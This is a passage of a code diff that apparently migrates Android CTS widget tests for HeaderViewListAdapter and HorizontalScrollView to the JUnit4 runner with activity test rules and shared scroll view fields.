         assertNull(headerViewListAdapter.getFilter());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertNull(headerViewListAdapter.getFilter());
 
-        HeaderViewEmptyAdapter emptyAdapter = new HeaderViewEmptyAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, emptyAdapter);
-        assertSame(emptyAdapter.getFilter(), headerViewListAdapter.getFilter());
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mEmptyAdapter);
+        assertSame(mEmptyAdapter.getFilter(), headerViewListAdapter.getFilter());
     }
 
+    @Test
     public void testGetWrappedAdapter() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertNull(headerViewListAdapter.getWrappedAdapter());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
-        assertSame(fullAdapter, headerViewListAdapter.getWrappedAdapter());
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
+        assertSame(mFullAdapter, headerViewListAdapter.getWrappedAdapter());
     }
 
     private class HeaderViewEmptyAdapter implements ListAdapter, Filterable {
@@ -504,16 +511,4 @@
         protected void publishResults(CharSequence constraint, Filter.FilterResults results) {
         }
     }
-
-    private class HeaderViewDataSetObserver extends DataSetObserver {
-        @Override
-        public void onChanged() {
-            // Do nothing
-        }
-
-        @Override
-        public void onInvalidated() {
-            // Do nothing
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewCtsActivity.java
index a10e63a..96d8279 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 public class HorizontalScrollViewCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index afdc869..88aa357 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
@@ -16,55 +16,78 @@
 
 package android.widget.cts;
 
-import android.widget.FrameLayout;
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.app.Activity;
-import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.util.AttributeSet;
-import android.util.Xml;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.View.MeasureSpec;
-import android.widget.HorizontalScrollView;
-import android.widget.TextView;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
 
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.graphics.Rect;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Xml;
+import android.view.View;
+import android.view.View.MeasureSpec;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.HorizontalScrollView;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 /**
  * Test {@link HorizontalScrollView}.
  */
-public class HorizontalScrollViewTest
-        extends ActivityInstrumentationTestCase2<HorizontalScrollViewCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class HorizontalScrollViewTest {
     private static final int ITEM_WIDTH  = 250;
     private static final int ITEM_HEIGHT = 100;
     private static final int ITEM_COUNT  = 15;
     private static final int PAGE_WIDTH  = 100;
     private static final int PAGE_HEIGHT = 100;
     private static final int SCROLL_RIGHT = ITEM_WIDTH * ITEM_COUNT - PAGE_WIDTH;
-    private MyHorizontalScrollView mScrollView;
+
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
+    private HorizontalScrollView mScrollViewRegular;
+    private HorizontalScrollView mScrollViewCustom;
+    private MyHorizontalScrollView mScrollViewCustomEmpty;
 
-    public HorizontalScrollViewTest() {
-        super("android.widget.cts", HorizontalScrollViewCtsActivity.class);
+    @Rule
+    public ActivityTestRule<HorizontalScrollViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(HorizontalScrollViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mScrollViewRegular = (HorizontalScrollView) mActivity.findViewById(
+                R.id.horizontal_scroll_view_regular);
+        mScrollViewCustom = (MyHorizontalScrollView) mActivity.findViewById(
+                R.id.horizontal_scroll_view_custom);
+        mScrollViewCustomEmpty = (MyHorizontalScrollView) mActivity.findViewById(
+                R.id.horizontal_scroll_view_custom_empty);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mScrollView = (MyHorizontalScrollView) mActivity.findViewById(R.id.horizontal_scroll_view);
-    }
-
+    @Test
     public void testConstructor() {
         XmlPullParser parser = mActivity.getResources().getLayout(R.layout.horizontal_scrollview);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -75,224 +98,215 @@
         new HorizontalScrollView(mActivity, attrs, 0);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetMaxScrollAmount() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
-        scrollView.layout(0, 0, 100, 200);
-        assertEquals((100 - 0) / 2, scrollView.getMaxScrollAmount());
+        mScrollViewRegular.layout(0, 0, 100, 200);
+        assertEquals((100 - 0) / 2, mScrollViewRegular.getMaxScrollAmount());
 
-        scrollView.layout(0, 0, 150, 100);
-        assertEquals((150 - 0) / 2, scrollView.getMaxScrollAmount());
+        mScrollViewRegular.layout(0, 0, 150, 100);
+        assertEquals((150 - 0) / 2, mScrollViewRegular.getMaxScrollAmount());
     }
 
+    @UiThreadTest
+    @Test
     public void testAddView() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1);
+            mScrollViewRegular.addView(child1);
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithIndex() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, 0);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, 0);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, 1);
+            mScrollViewRegular.addView(child1, 1);
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
-        scrollView.addView(child0, -1);
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.removeAllViews();
 
-        assertEquals(1, scrollView.getChildCount());
+        mScrollViewRegular.addView(child0, -1);
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
+
+        assertEquals(1, mScrollViewRegular.getChildCount());
         child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, -1);
+            mScrollViewRegular.addView(child1, -1);
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
+
         try {
-            scrollView.addView(child0, 1);
+            mScrollViewRegular.addView(child0, 1);
             fail("did not throw IndexOutOfBoundsException when index is larger than 0");
         } catch (IndexOutOfBoundsException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithLayoutParams() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, new ViewGroup.LayoutParams(200, 100));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, new ViewGroup.LayoutParams(200, 100));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(200, child0.getLayoutParams().width);
         assertEquals(100, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, new ViewGroup.LayoutParams(200, 100));
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
         child0 = new TextView(mActivity);
+
         try {
-            scrollView.addView(child0, null);
+            mScrollViewRegular.addView(child0, null);
             fail("did not throw NullPointerException when LayoutParams is null.");
         } catch (NullPointerException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithIndexAndLayoutParams() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
         TextView child0 = new TextView(mActivity);
-        scrollView.addView(child0, 0, new ViewGroup.LayoutParams(200, 100));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.addView(child0, 0, new ViewGroup.LayoutParams(200, 100));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(200, child0.getLayoutParams().width);
         assertEquals(100, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         TextView child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, 0, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, 0, new ViewGroup.LayoutParams(200, 100));
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
+
         child0 = new TextView(mActivity);
         try {
-            scrollView.addView(child0, null);
+            mScrollViewRegular.addView(child0, null);
             fail("did not throw NullPointerException when LayoutParams is null.");
         } catch (NullPointerException e) {
             // expected
         }
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
-        scrollView.addView(child0, -1, new ViewGroup.LayoutParams(300, 150));
-        assertSame(child0, scrollView.getChildAt(0));
+        mScrollViewRegular.removeAllViews();
+
+        mScrollViewRegular.addView(child0, -1, new ViewGroup.LayoutParams(300, 150));
+        assertSame(child0, mScrollViewRegular.getChildAt(0));
         assertEquals(300, child0.getLayoutParams().width);
         assertEquals(150, child0.getLayoutParams().height);
 
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
         child1 = new TextView(mActivity);
         try {
-            scrollView.addView(child1, -1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child1, -1, new ViewGroup.LayoutParams(200, 100));
             fail("did not throw IllegalStateException when add more than one child");
         } catch (IllegalStateException e) {
             // expected
         }
-        assertEquals(1, scrollView.getChildCount());
+        assertEquals(1, mScrollViewRegular.getChildCount());
 
-        scrollView.removeAllViews();
-        scrollView = new HorizontalScrollView(mActivity);
+        mScrollViewRegular.removeAllViews();
+
         try {
-            scrollView.addView(child0, 1, new ViewGroup.LayoutParams(200, 100));
+            mScrollViewRegular.addView(child0, 1, new ViewGroup.LayoutParams(200, 100));
             fail("did not throw IndexOutOfBoundsException when index is larger than 0");
         } catch (IndexOutOfBoundsException e) {
             // expected
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessFillViewport() {
-        HorizontalScrollView scrollView = new HorizontalScrollView(mActivity);
-        assertFalse(scrollView.isFillViewport());
-        scrollView.layout(0, 0, 100, 100);
-        assertFalse(scrollView.isLayoutRequested());
+        assertFalse(mScrollViewRegular.isFillViewport());
+        mScrollViewRegular.layout(0, 0, 100, 100);
+        assertFalse(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.setFillViewport(false);
-        assertFalse(scrollView.isFillViewport());
-        assertFalse(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(false);
+        assertFalse(mScrollViewRegular.isFillViewport());
+        assertFalse(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.setFillViewport(true);
-        assertTrue(scrollView.isFillViewport());
-        assertTrue(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(true);
+        assertTrue(mScrollViewRegular.isFillViewport());
+        assertTrue(mScrollViewRegular.isLayoutRequested());
 
-        scrollView.layout(0, 0, 100, 100);
-        assertFalse(mScrollView.isLayoutRequested());
+        mScrollViewRegular.layout(0, 0, 100, 100);
+        assertFalse(mScrollViewCustom.isLayoutRequested());
 
-        scrollView.setFillViewport(false);
-        assertFalse(scrollView.isFillViewport());
-        assertTrue(scrollView.isLayoutRequested());
+        mScrollViewRegular.setFillViewport(false);
+        assertFalse(mScrollViewRegular.isFillViewport());
+        assertTrue(mScrollViewRegular.isLayoutRequested());
     }
 
+    @Test
     public void testAccessSmoothScrollingEnabled() throws Throwable {
-        assertTrue(mScrollView.isSmoothScrollingEnabled());
+        assertTrue(mScrollViewCustom.isSmoothScrollingEnabled());
 
         // scroll immediately
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertFalse(mScrollView.isSmoothScrollingEnabled());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertFalse(mScrollViewCustom.isSmoothScrollingEnabled());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_RIGHT);
-            }
-        });
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_RIGHT));
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_LEFT);
-            }
-        });
-        assertEquals(0, mScrollView.getScrollX());
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_LEFT));
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
         // smooth scroll
-        mScrollView.setSmoothScrollingEnabled(true);
-        assertTrue(mScrollView.isSmoothScrollingEnabled());
+        mScrollViewCustom.setSmoothScrollingEnabled(true);
+        assertTrue(mScrollViewCustom.isSmoothScrollingEnabled());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_RIGHT);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_RIGHT));
         pollingCheckSmoothScrolling(0, SCROLL_RIGHT, 0, 0);
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fullScroll(View.FOCUS_LEFT);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fullScroll(View.FOCUS_LEFT));
         pollingCheckSmoothScrolling(SCROLL_RIGHT, 0, 0, 0);
-        assertEquals(0, mScrollView.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChild() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-
         MyView child = new MyView(mActivity);
         child.setBackgroundDrawable(null);
         child.setPadding(0, 0, 0, 0);
@@ -304,16 +318,17 @@
         assertEquals(100, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        ((MyHorizontalScrollView) mScrollViewCustom).measureChild(
+                child, MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY));
 
         assertEquals(100, child.getMeasuredHeight());
         assertEquals(30, child.getMeasuredWidth());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChildWithMargins() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-
         MyView child = new MyView(mActivity);
         child.setBackgroundDrawable(null);
         child.setPadding(0, 0, 0, 0);
@@ -325,7 +340,7 @@
         assertEquals(100, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
 
-        scrollView.measureChildWithMargins(child,
+        ((MyHorizontalScrollView) mScrollViewCustom).measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 5,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 5);
 
@@ -333,37 +348,42 @@
         assertEquals(30, child.getMeasuredWidth());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecs() {
         MyView child = spy(new MyView(mActivity));
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewCustomEmpty.measureChild(child,
+                MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
         verify(child).onMeasure(
                 eq(MeasureSpec.makeMeasureSpec(100, MeasureSpec.UNSPECIFIED)),
                 eq(MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithPadding() {
         MyView child = spy(new MyView(mActivity));
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setPadding(3, 5, 7, 11);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.setPadding(3, 5, 7, 11);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewCustomEmpty.measureChild(child,
+                MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
         verify(child).onMeasure(
                 eq(MeasureSpec.makeMeasureSpec(90, MeasureSpec.UNSPECIFIED)),
                 eq(MeasureSpec.makeMeasureSpec(134, MeasureSpec.EXACTLY)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMargins() {
         MyView child = spy(new MyView(mActivity));
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 15,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20);
         verify(child).onMeasure(
@@ -371,13 +391,14 @@
                 eq(MeasureSpec.makeMeasureSpec(130, MeasureSpec.EXACTLY)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMarginsAndPadding() {
         MyView child = spy(new MyView(mActivity));
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setPadding(3, 5, 7, 11);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.setPadding(3, 5, 7, 11);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 15,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20);
         verify(child).onMeasure(
@@ -385,12 +406,13 @@
                 eq(MeasureSpec.makeMeasureSpec(114, MeasureSpec.EXACTLY)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMarginsAndNoHintWidth() {
         MyView child = spy(new MyView(mActivity));
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED), 15,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20);
         verify(child).onMeasure(
@@ -398,50 +420,52 @@
                 eq(MeasureSpec.makeMeasureSpec(130, MeasureSpec.EXACTLY)));
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewport() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-
         MyView child = new MyView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
         child.setLayoutParams(new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.WRAP_CONTENT,
                 ViewGroup.LayoutParams.WRAP_CONTENT
         ));
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY));
 
         assertEquals(150, child.getMeasuredWidth());
         assertEquals(100, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 150, 100);
+        mScrollViewRegular.layout(0, 0, 150, 100);
         assertEquals(0, child.getLeft());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithScrollViewPadding() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setFillViewport(true);
-        scrollView.setPadding(3, 10, 5, 7);
+        mScrollViewRegular.setFillViewport(true);
+        mScrollViewRegular.setPadding(3, 10, 5, 7);
 
         MyView child = new MyView(mActivity);
         child.setLayoutParams(new ViewGroup.LayoutParams(10,10));
         child.setDesiredWidth(30);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(92, child.getMeasuredWidth());
         assertEquals(10, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(3, child.getLeft());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithChildMargins() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
 
         MyView child = new MyView(mActivity);
         FrameLayout.LayoutParams lp = new FrameLayout.LayoutParams(10, 10);
@@ -452,40 +476,42 @@
         child.setDesiredWidth(30);
         child.setLayoutParams(lp);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(92, child.getMeasuredWidth());
         assertEquals(10, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(3, child.getLeft());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithScrollViewPaddingAlreadyFills() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setFillViewport(true);
-        scrollView.setPadding(3, 10, 5, 7);
+        mScrollViewRegular.setFillViewport(true);
+        mScrollViewRegular.setPadding(3, 10, 5, 7);
 
         MyView child = new MyView(mActivity);
         child.setDesiredWidth(175);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
 
         assertEquals(175, child.getMeasuredWidth());
         assertEquals(133, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(3, child.getLeft());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithChildMarginsAlreadyFills() {
-        MyHorizontalScrollView scrollView = new MyHorizontalScrollView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
         MyView child = new MyView(mActivity);
         FrameLayout.LayoutParams lp = new FrameLayout.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
@@ -498,146 +524,140 @@
         child.setLayoutParams(lp);
         child.setDesiredWidth(175);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(175, child.getMeasuredWidth());
         assertEquals(133, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(3, child.getLeft());
     }
 
     @UiThreadTest
+    @Test
     public void testPageScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_RIGHT));
-        assertEquals(PAGE_WIDTH, mScrollView.getScrollX());
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_RIGHT));
+        assertEquals(PAGE_WIDTH, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(SCROLL_RIGHT, PAGE_HEIGHT);
-        assertFalse(mScrollView.pageScroll(View.FOCUS_RIGHT));
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(SCROLL_RIGHT, PAGE_HEIGHT);
+        assertFalse(mScrollViewCustom.pageScroll(View.FOCUS_RIGHT));
+        assertEquals(SCROLL_RIGHT, mScrollViewCustom.getScrollX());
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_LEFT));
-        assertEquals(SCROLL_RIGHT - PAGE_WIDTH, mScrollView.getScrollX());
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_LEFT));
+        assertEquals(SCROLL_RIGHT - PAGE_WIDTH, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(0, PAGE_HEIGHT);
-        assertFalse(mScrollView.pageScroll(View.FOCUS_LEFT));
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(0, PAGE_HEIGHT);
+        assertFalse(mScrollViewCustom.pageScroll(View.FOCUS_LEFT));
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
     @UiThreadTest
+    @Test
     public void testFullScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollX());
 
-        assertTrue(mScrollView.fullScroll(View.FOCUS_RIGHT));
-        assertEquals(SCROLL_RIGHT, mScrollView.getScrollX());
